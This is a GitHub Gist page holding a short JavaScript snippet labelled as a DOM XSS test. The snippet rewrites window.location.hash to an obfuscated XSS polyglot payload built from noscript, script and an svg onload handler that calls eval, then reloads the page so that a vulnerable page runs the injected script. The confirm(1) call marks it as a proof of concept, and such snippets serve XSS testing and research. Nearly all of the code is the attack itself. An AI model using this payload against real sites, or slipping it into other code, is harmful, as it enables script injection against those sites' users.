Created
October 9, 2016 13:41
-
-
Save xsscx/3bec235365d3c1d5b636203689129196 to your computer and use it in GitHub Desktop.
window.location.hash test domxss console.log(location.hash);
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
console.log(location.hash); | |
var tabValue = document.URL; | |
window.location = tabValue.substring(0, tabValue.lastIndexOf("#")); | |
console.log(location.hash); | |
window.location.hash = `#<noscript><script>confirm(1)&k7="><svg/t='&k8='onload='/&k9=/+eval(t)'` | |
location.reload(); | |
console.log(location.hash); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment